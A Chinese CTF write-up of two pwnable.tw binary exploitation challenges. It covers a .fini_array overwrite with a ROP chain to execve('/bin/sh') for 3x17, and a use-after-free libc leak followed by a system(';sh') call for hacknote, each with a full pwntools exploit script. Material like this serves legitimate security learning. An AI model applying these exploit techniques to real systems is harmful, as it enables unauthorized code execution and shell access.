pwnable.tw 部分记录

二进制是一个不断学习的过程,以下记录我在pwnable.tw网站刷题的一些心得


3x17

前置知识

main函数启动过程

_start -> __libc_start_main -> __libc_csu_init -> _init -> main -> __libc_csu_fini

而其中 __libc_csu_init和__libc_csu_fini则会分别去调用.init / .init_array以及.fini / .fini_array。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
void
__libc_csu_init (int argc, char **argv, char **envp)
{
/* For dynamically linked executables the preinit array is executed by
the dynamic linker (before initializing any shared object). */

#ifndef LIBC_NONSHARED
/* For static executables, preinit happens right before init. */
{
const size_t size = __preinit_array_end - __preinit_array_start;
size_t i;
for (i = 0; i < size; i++)
(*__preinit_array_start [i]) (argc, argv, envp);
}
#endif

#ifndef NO_INITFINI
_init ();
#endif

const size_t size = __init_array_end - __init_array_start;
for (size_t i = 0; i < size; i++)
(*__init_array_start [i]) (argc, argv, envp);
}

/* This function should not be used anymore. We run the executable's
destructor now just like any other. We cannot remove the function,
though. */
void
__libc_csu_fini (void)
{
#ifndef LIBC_NONSHARED
size_t i = __fini_array_end - __fini_array_start;
while (i-- > 0)
(*__fini_array_start [i]) ();

# ifndef NO_INITFINI
_fini ();
# endif
#endif
}

由上述elf-init的源码可以得知,__libc_csu_init调用.init_array是顺序调用,而__libc_csu_fini调用.fini_array是逆序调用。
即调用顺序为:

  • .init
  • .init_array[0]
  • .init_array[N]
  • main
  • .fini_array[N]
  • .fini_array[0]
  • .fini

题目分析

检查

首先对文件进行检查

➜  3x17 file 3x17 
3x17: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, for GNU/Linux 3.2.0, BuildID[sha1]=a9f43736cc372b3d1682efa57f19a4d5c70e41d3, stripped
➜  3x17 checksec 3x17 
[*] '/root/CTF/Pwn/tw/3x17/3x17'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

可以发现是静态链接并且去除了符号等调试信息。在checksec时显示没有canary,其实是由于去除调试信息后未检测到。

RE

由于去掉调试信息,我们需要在RE的时候自己去找main函数。

.text:00000000004011D0                 public _start
.text:00000000004011D0 _start          proc near               ; DATA XREF: LOAD:0000000000400018↑o
.text:00000000004011D0 ; __unwind {
.text:00000000004011D0                 xor     ebp, ebp
.text:00000000004011D2                 mov     r9, rdx         ; rtld_fini
.text:00000000004011D5                 pop     rsi             ; argc
.text:00000000004011D6                 mov     rdx, rsp        ; ubp_av
.text:00000000004011D9                 and     rsp, 0FFFFFFFFFFFFFFF0h
.text:00000000004011DD                 push    rax
.text:00000000004011DE                 push    rsp             ; stack_end
.text:00000000004011DF                 mov     r8, offset __libc_csu_fini ; fini
.text:00000000004011E6                 mov     rcx, offset __libc_csu_init ; init
.text:00000000004011ED                 mov     rdi, offset main ; main
.text:00000000004011F4                 call    ___libc_start_main
.text:00000000004011F9                 hlt
.text:00000000004011F9 ; } // starts at 4011D0
.text:00000000004011F9 _start          endp

先看一下没有strip情况下的start。

.text:0000000000401A50                 public start
.text:0000000000401A50 start           proc near               ; DATA XREF: LOAD:0000000000400018↑o
.text:0000000000401A50 ; __unwind {
.text:0000000000401A50                 xor     ebp, ebp
.text:0000000000401A52                 mov     r9, rdx
.text:0000000000401A55                 pop     rsi
.text:0000000000401A56                 mov     rdx, rsp
.text:0000000000401A59                 and     rsp, 0FFFFFFFFFFFFFFF0h
.text:0000000000401A5D                 push    rax
.text:0000000000401A5E                 push    rsp
.text:0000000000401A5F                 mov     r8, offset sub_402960
.text:0000000000401A66                 mov     rcx, offset loc_4028D0
.text:0000000000401A6D                 mov     rdi, offset sub_401B6D
.text:0000000000401A74                 db      67h
.text:0000000000401A74                 call    sub_401EB0
.text:0000000000401A7A                 hlt
.text:0000000000401A7A ; } // starts at 401A50
.text:0000000000401A7A start           endp

这是3x17的start。
所以sub_401EB0应该就是__libc_start_main。
offset sub_402960就是 __libc_csu_fini,loc_4028D0是__libc_csu_init,sub_401B6D为main函数。

进入到main函数,并对部分函数进行重命名。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
int __cdecl main(int argc, const char **argv, const char **envp)
{
int result; // eax
char *v4; // ST08_8
__int64 v5; // rcx
unsigned __int64 v6; // rt1
char buf; // [rsp+10h] [rbp-20h]
unsigned __int64 v8; // [rsp+28h] [rbp-8h]

v8 = __readfsqword(0x28u);
result = (unsigned __int8)++count;
if ( count == 1 )
{
write(1u, "addr:", 5uLL);
read(0, &buf, 0x18uLL);
v4 = (char *)(signed int)sub_40EE70(&buf, &buf);
write(1u, "data:", 5uLL);
argv = (const char **)v4;
*(_QWORD *)&argc = 0LL;
read(0, v4, 0x18uLL);
result = 0;
}
v6 = __readfsqword(0x28u);
v5 = v6 ^ v8;
if ( v6 != v8 )
sub_44A3E0(*(_QWORD *)&argc, argv, envp, v5);
return result;
}

由于缺少符号不知道sub_40EE70函数功能,通过动态调试,sub_40EE70应该就是把输入的buf转化成数字。
整体逻辑就是往addr中写data,不过由于 count == 1的判断,只能够进行一次任意地址任意写。

利用方法

无限次写

在前置知识中介绍了main函数启动的流程,在main函数结束时调用.fini_array[N]。
在这个程序中,.fini_array有两个元素。

.fini_array:00000000004B40F0 _fini_array     segment para public 'DATA' use64
.fini_array:00000000004B40F0                 assume cs:_fini_array
.fini_array:00000000004B40F0                 ;org 4B40F0h
.fini_array:00000000004B40F0 off_4B40F0      dq offset sub_401B00    ; DATA XREF: .text:000000000040291C↑o
.fini_array:00000000004B40F0                                         ; __libc_csu_fini+8↑o
.fini_array:00000000004B40F8                 dq offset sub_401580
.fini_array:00000000004B40F8 _fini_array     ends

在未修改.fini_array时的程序执行流程。

+---------------------+             +---------------------+              +---------------------+             +---------------------+
|                     |             |                     |              |                     |             |                     |
|       main          |  +--------> |  __libc_csu_fini    |  +------->   |  .fini_array[1]     |  +------->  |   .fini_array[0]    |
|                     |             |                     |              |                     |             |                     |
+---------------------+             +---------------------+              +---------------------+             +---------------------+

我们进行如下修改。

  • .fini_array[1] : main
  • .fini_array[0] : __libc_csu_fini

此时执行流程发生了改变。

+---------------------+             +---------------------+              +---------------------+             +---------------------+
|                     |             |                     |              |                     |             |                     |
|       main          |  +--------> |  __libc_csu_fini    |  +------->   |  .fini_array[1]     |  +------->  |   .fini_array[0]    |
|                     |             |                     |              |        main         |             |   __libc_csu_fini   |
+---------------------+             +---------------------+              +---------------------+             +---------------------+
                                               ^                                                                         |
                                               |                                                                         |
                                               |                                                                         |
                                               +-------------------------------------------------------------------------+

这样便会一直进入到main函数。

result = (unsigned \__int8)++count;

每次进入到main函数时 count+1,而且count是无符号int8类型。

0b11111111 + 1 = 0b00000000
0b00000000 + 1 = 0b00000001

当count==1时,便会停止等待输入addr。

ROP

我们能够无限次向任意地址写0x18大小的任意内容。
所以我们能够提前布置好ROP,最后跳转到布置ROP的地方触发ROP以get shell。

pop_rax_ret
59
pop_rdi_ret
address of "/bin/sh\x00"
pop_rsi_ret
0
pop_rdx_ret
0
syscall

“/bin/sh\x00”随便布置在一块RW的区域就行。
关键是ROP布置在什么位置。
当我们布置完ROP后,再次进入到main,此时要修改.fini_array来改变程序流程。

.text:0000000000402960                 push    rbp
.text:0000000000402961                 lea     rax, unk_4B4100
.text:0000000000402968                 lea     rbp, off_4B40F0
.text:000000000040296F                 push    rbx
.text:0000000000402970                 sub     rax, rbp
.text:0000000000402973                 sub     rsp, 8
.text:0000000000402977                 sar     rax, 3
.text:000000000040297B                 jz      short loc_402996
.text:000000000040297D                 lea     rbx, [rax-1]
.text:0000000000402981                 nop     dword ptr [rax+00000000h]
.text:0000000000402988
.text:0000000000402988 loc_402988:                             ; CODE XREF: __libc_csu_fini+34↓j
.text:0000000000402988                 call    qword ptr [rbp+rbx*8+0] ; fini_array

观察上面代码,发现rbp被赋值为0x4B40F0(.fini_array),再call调用相关函数。
这里考虑把.fini_array[0]修改为leave_ret(栈迁移)。
leave就是mov rsp,rbp; pop rbp;

mov    rsp,rbp    ; rbp = 0x4B40F0    , rsp = 0x4B40F0
pop    rbp        ; rbp = [0x4B40F0]  , rsp = 0x4B40F8
ret               ; rip = [0x4B40F8]  , rsp = 0x4B4100

经过这些指令后,rip变为0x4B40F8里面存储的内容,rip指向.fini_array[1]。
在修改.fini_array[0]时同时修改.fini_array[1]为ret(pop rip)。
接着rip执行ret后rip = 0x4B4100。
所以我们把ROP链布置在0x4B4100区域。

Expliot

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
#!/usr/bin/python2
#-*-coding:utf-8-*-
from pwn import *
from PwnContext import *

try:
from IPython import embed as ipy
except ImportError:
print ('IPython not installed.')

context.terminal = ['tmux', 'splitw', '-h'] # uncomment this if you use tmux
# context.log_level = 'debug'
# functions for quick script
s = lambda data :ctx.send(str(data)) #in case that data is an int
sa = lambda delim,data :ctx.sendafter(str(delim), str(data))
sl = lambda data :ctx.sendline(str(data))
sla = lambda delim,data :ctx.sendlineafter(str(delim), str(data))
r = lambda numb=4096 :ctx.recv(numb)
ru = lambda delims, drop=True :ctx.recvuntil(delims, drop)
irt = lambda :ctx.interactive()
rs = lambda *args, **kwargs :ctx.start(*args, **kwargs)
dbg = lambda gs='', **kwargs :ctx.debug(gdbscript=gs, **kwargs)
# misc functions
uu32 = lambda data :u32(data.ljust(4, ''))
uu64 = lambda data :u64(data.ljust(8, ''))

ctx.binary = './3x17'
# ctx.remote_libc = './libc.so'
# ctx.remote = ('1.1.1.1', 1111)
ctx.debug_remote_libc = False # True for debugging remote libc, false for local.

libc_csu_fini = 0x402960
main_addr = 0x401B6D
fini_array = 0x4B40F0
leave_ret = 0x401C4B
fake_esp = 0x4B4100
ret = 0x401016
pop_rax_ret = 0x000000000041e4af # pop rax ; ret
pop_rdi_ret = 0x0000000000401696 # pop rdi ; ret
pop_rsi_ret = 0x0000000000406c30 # pop rsi ; ret
pop_rdx_ret = 0x0000000000446e35 # pop rdx ; ret
bin_sh_addr = 0x00000000004B9300 # .bss
syscall_addr = 0x00000000004022b4

def write(addr,data):
ru("addr:")
s(str(addr))
ru("data:")
s(data)


rs()
# rs('remote') # uncomment this for exploiting remote target
write(fini_array,p64(libc_csu_fini)+p64(main_addr))

write(bin_sh_addr,"/bin/sh\x00")
write(fake_esp,p64(pop_rax_ret))
write(fake_esp+8,p64(59))
write(fake_esp+16,p64(pop_rdi_ret))
write(fake_esp+24,p64(bin_sh_addr))
write(fake_esp+32,p64(pop_rsi_ret))
write(fake_esp+40,p64(0))
write(fake_esp+48,p64(pop_rdx_ret))
write(fake_esp+56,p64(0))
write(fake_esp+64,p64(syscall_addr))

write(fini_array,p64(leave_ret)+p64(ret))
irt()

hacknote

题目分析

检查

➜  0x06 file hacknote 
hacknote: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /root/software/glibc-all-in-one/libs/2.23-0ubuntu11_i386/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=a32de99816727a2ffa1fe5f4a324238b2d59a606, stripped
➜  0x06 checksec hacknote 
[*] '/root/CTF/Pwn/tw/0x06/hacknote'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8045000)
    RUNPATH:  '/root/software/glibc-all-in-one/libs/2.23-0ubuntu11_i386'

RE

这是一道堆题,接着对每个操作进行分析。
添加一个note。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
unsigned int add()
{
_DWORD *v0; // ebx
signed int i; // [esp+Ch] [ebp-1Ch]
int size; // [esp+10h] [ebp-18h]
char buf; // [esp+14h] [ebp-14h]
unsigned int v5; // [esp+1Ch] [ebp-Ch]

v5 = __readgsdword(0x14u);
if ( dword_804A04C <= 5 )
{
for ( i = 0; i <= 4; ++i )
{
if ( !ptr[i] )
{
ptr[i] = malloc(8u); // note的结构体
if ( !ptr[i] )
{
puts("Alloca Error");
exit(-1);
}
*(_DWORD *)ptr[i] = sub_804862B; // note_puts = puts(arg0+4)
printf("Note size :");
read(0, &buf, 8u);
size = atoi(&buf);
v0 = ptr[i];
v0[1] = malloc(size); // content的地址
if ( !*((_DWORD *)ptr[i] + 1) )
{
puts("Alloca Error");
exit(-1);
}
printf("Content :");
read(0, *((void **)ptr[i] + 1), size); // 写入content
puts("Success !");
++dword_804A04C;
return __readgsdword(0x14u) ^ v5;
}
}
}
else
{
puts("Full");
}
return __readgsdword(0x14u) ^ v5;
}

删除一个note,漏洞就在这里了,free完之后没有置空。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
unsigned int delete()
{
int v1; // [esp+4h] [ebp-14h]
char buf; // [esp+8h] [ebp-10h]
unsigned int v3; // [esp+Ch] [ebp-Ch]

v3 = __readgsdword(0x14u);
printf("Index :");
read(0, &buf, 4u);
v1 = atoi(&buf);
if ( v1 < 0 || v1 >= dword_804A04C )
{
puts("Out of bound!");
_exit(0);
}
if ( ptr[v1] )
{
free(*((void **)ptr[v1] + 1)); // note content,free完没有设置为0
free(ptr[v1]); // note的结构体地址
puts("Success");
}
return __readgsdword(0x14u) ^ v3;
}

打印note。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
unsigned int view()
{
int v1; // [esp+4h] [ebp-14h]
char buf; // [esp+8h] [ebp-10h]
unsigned int v3; // [esp+Ch] [ebp-Ch]

v3 = __readgsdword(0x14u);
printf("Index :");
read(0, &buf, 4u);
v1 = atoi(&buf);
if ( v1 < 0 || v1 >= dword_804A04C )
{
puts("Out of bound!");
_exit(0);
}
if ( ptr[v1] )
(*(void (__cdecl **)(void *))ptr[v1])(ptr[v1]);// 调用note_puts,note_puts(*(notes_addr+4))
return __readgsdword(0x14u) ^ v3;
}

以上三个就是主要的操作,我们通过分析可以获得以下几点。

  1. add操作时malloc一个0x8大小的区域(chunk size = 0x10),也就时note结构体,结构体的首部0x4大小是一个函数 puts(*(const char **)(a1 + 4)),接下来0x4大小存储的是content的地址。
  2. delete操作在free之后没有置空。
  3. view操作通过ptr[v1]来判断能否进行操作(*(void (__cdecl **)(void *))ptr[v1])(ptr[v1]),该地址是puts(*(const char **)(addr + 4)),而ptr[v1]+4就是content的地址,所以会打印出内容。但是由于delete操作在free之后没有置空,以及delete掉的note也可以进行该操作。

利用方法

获取libc基址

  1. 首先add两个大小不为0x8的note,序号分别为0和1。
  2. delete(0);delete(1)

    addr                prev                size                 status              fd                bk               
    0x88be000           0x0                 0x10                 Freed                0x0              None
    0x88be010           0x0                 0x18                 Freed                0x0              None
    0x88be028           0x0                 0x10                 Freed          0x88be000              None
    0x88be038           0x0                 0x18                 Freed          0x88be010              None
    
    fastbins
    [ fb 0 ] 0xf7794788  -> [ 0x88be028 ] (16)
                            [ 0x88be000 ] (16)
    [ fb 1 ] 0xf779478c  -> [ 0x88be038 ] (24)
                            [ 0x88be010 ] (24)
    

如上图所示,0x10chunk是note结构体,0x18chunk是content内容。

  1. add(0x8,p32(note_puts)+p32(puts_got)),导致0x88be028变成新的note的结构体chunk,0x88be000变成内容存放的chunk。此时view(0),就会调用0x88be000+0x8处的函数,即puts(*(const char **)(addr + 4)),0x88be000 + 0xC处则是puts_got,所以会打印出puts_got从而泄露了libc。

Get Shell

delete(2)
然后再add一个0x8的新note。
把ptr[0]的内容改成p32(system_addr) + “;sh\x00”即可。
当调用view(0)时,(*(void (__cdecl **)(void *))ptr[v1])(ptr[v1]),ptr[v1]是system函数的地址,由于传入的参数也是ptr[v1],所以我们要截断参数,让sh变成第二个有效参数(第一个是一串地址,对于system是非法的)。
例如:

➜  0x06 cat sys.c 
#include<stdlib.h>
#include<stdio.h>

int main()
{
                system("aaa;ls");
                return 0;
}
➜  0x06 ./sys_test 
sh: 1: aaa: not found
exploit.py  hacknote  libc_32.so.6  peda-session-hacknote.txt  sys.c  sys_test

Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
#!/usr/bin/python2
#-*-coding:utf-8-*-
from pwn import *
from PwnContext import *

try:
from IPython import embed as ipy
except ImportError:
print ('IPython not installed.')

# context.terminal = ['tmux', 'splitw', '-h'] # uncomment this if you use tmux
# context.log_level = 'debug'
# functions for quick script
s = lambda data :ctx.send(str(data)) #in case that data is an int
sa = lambda delim,data :ctx.sendafter(str(delim), str(data))
sl = lambda data :ctx.sendline(str(data))
sla = lambda delim,data :ctx.sendlineafter(str(delim), str(data))
r = lambda numb=4096 :ctx.recv(numb)
ru = lambda delims, drop=True :ctx.recvuntil(delims, drop)
irt = lambda :ctx.interactive()
rs = lambda *args, **kwargs :ctx.start(*args, **kwargs)
dbg = lambda gs='', **kwargs :ctx.debug(gdbscript=gs, **kwargs)
# misc functions
uu32 = lambda data :u32(data.ljust(4, ''))
uu64 = lambda data :u64(data.ljust(8, ''))

ctx.binary = './hacknote'
ctx.remote_libc = './libc.so'
ctx.remote = ('chall.pwnable.tw', 10102)
# ctx.debug_remote_libc = False # True for debugging remote libc, false for local.
libc = ELF("/root/software/glibc-all-in-one/libs/2.23-0ubuntu11_i386/libc.so.6")
# libc = ELF("./libc_32.so.6")
elf = ELF('./hacknote')

def add(size,content):
ru("choice :")
sl("1")
ru("size :")
sl(str(size))
ru("Content :")
sl(content)

def delete(idx):
# r()
ru("choice :")
sl("2")
ru("Index :")
sl(str(idx))

def view(idx):
ru("choice :")
sl("3")
ru("Index :")
sl(str(idx))

puts_note = 0x0804862b
puts_got = elf.got["puts"]
rs()
# rs('remote') # uncomment this for exploiting remote target
# dbg()
add(0x10,"AAAA")#idx0
add(0x10,"BBBB")#idx1
delete(0)
delete(1)
add(0x8,p32(puts_note)+p32(puts_got))#idx2
# raw_input("1")
view(0)

puts_addr = u32(r(4))
libc_base = puts_addr - libc.symbols['puts']
# print "libc_read_offset -> "+ hex(libc.symbols['read'])
print "libc_base -> " + hex(libc_base)

system_addr = libc_base + libc.symbols['system']
delete(2)
# dbg()
add(0x8,p32(system_addr)+";sh\x00")
view(0)
irt()